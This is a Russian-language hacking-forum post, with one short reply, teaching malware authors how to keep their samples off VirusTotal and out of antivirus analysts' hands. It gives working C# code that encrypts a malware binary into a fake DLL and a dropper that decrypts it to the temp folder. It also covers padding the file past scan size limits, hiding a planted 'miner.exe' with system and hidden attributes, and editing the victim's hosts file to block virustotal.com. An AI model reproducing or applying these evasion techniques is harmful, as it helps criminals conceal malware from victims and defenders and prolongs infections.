Перейти к публикации
Ramazanrus

Методы защиты файла от попадания на Virus Total

Рекомендованные сообщения

b9e25cbfa6389d4202a29.png
 

Сегодня поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов. Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют.

 

По сути мы можем разделить нашу защиту от слива на два этапа :

1) до установки малваре на пк жертвы ;

2) после установки малваре на пк жертвы ;

 

Приступим к первому варианту.

Здесь я увидел 2 метода :

1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный. 

 

Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 :

Сам exe файлик

Код:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace ExePart
{
    class Program
    {
        static string password = "shopozanyanime";
        static void Main(string[] args)
        {
            if (File.Exists("file.dll"))
            {
                byte[] decrypted = decrypt(File.ReadAllBytes("file.dll"));
                File.WriteAllBytes(Path.GetTempPath() + "\\nachvt.exe",decrypted);
            }
        }
        public static byte[] decrypt(byte[] cipherBytes)
        {
            byte[] plainBytes;
            Aes encryptor = Aes.Create();

            encryptor.Mode = CipherMode.CBC;
            SHA256 mySHA256 = SHA256Managed.Create();

            encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));
            encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };

            MemoryStream memoryStream = new MemoryStream();

            ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();

            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);

            string plainText = String.Empty;

            try
            {
                cryptoStream.Write(cipherBytes, 0, cipherBytes.Length);

                cryptoStream.FlushFinalBlock();

                 plainBytes = memoryStream.ToArray();

            }
            finally
            {
                memoryStream.Close();
                cryptoStream.Close();
            }
            return plainBytes;
        }
    }
}

 

DllCreator

Код:

using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace DllCreator
{
    class Program
    {
        static string password = "shopozanyanime";
        static void Main(string[] args)
        {
            byte[] start = File.ReadAllBytes("in.exe");
            byte[] encrypted = encrypt(start);
            File.WriteAllBytes("file.dll", encrypted);

        }
        public static byte[] encrypt(byte[] plainBytes)
        {
            Aes encryptor = Aes.Create();

            encryptor.Mode = CipherMode.CBC;

            SHA256 mySHA256 = SHA256Managed.Create();

            encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));
            encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };

            MemoryStream memoryStream = new MemoryStream();
            ICryptoTransform aesEncryptor = encryptor.CreateEncryptor();
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write);


            cryptoStream.Write(plainBytes, 0, plainBytes.Length);

            cryptoStream.FlushFinalBlock();

            byte[] cipherBytes = memoryStream.ToArray();

            memoryStream.Close();
            cryptoStream.Close();


            return cipherBytes;
        }
    }
}

 

Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению :)

 

2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor.

 

Открываем нашу программу в Hex Editor

d63a8bf05ae264fa3c862.png
 

Идем в сам низ, где заканчиваются байти

6c50eff4fa77e7821c62d.png
 

Нажимаем Edit - > Insert bytes -> ставим много 999999

d3f85b6c8c1417a4d8a27.png
 
012330b5a7184f9c0e5e0.png
 

Сохраняем . Как мы видим размер увеличился - программа работает

442c6f46948493d422e11.png
 
e7576a103ae24a32ec93d.png
 

Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы.

 

Теперь поговорим о методах защиты после установки малваре на пк жертвы :

1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или)

Код:

string path  = @"C:\miner.exe";
File.SetAttributes(path , FileAttributes.System | FileAttributes.Hidden)

 

2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом 

Код:

String path =@"C:\Windows\System32\drivers\etc\hosts";
            StreamWriter sw = new StreamWriter(path, true);
            String sitetoblock = "\n 127.0.0.1 virustotal.com";
            sw.Write(sitetoblock);
            sw.Close();

 

Минус в том, что могут понадобиться админ права.

 

3) Если файл будет существовать только в оперативной и не будет имеить физической основы на диске его не будет возможно слить на вт. Единственный минус файл будет работать только до перезагрузки пк.

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Больно много цифр не понятных((

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.
Примечание: вашему сообщению потребуется утверждение модератора, прежде чем оно станет доступным.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.


×
×
  • Создать...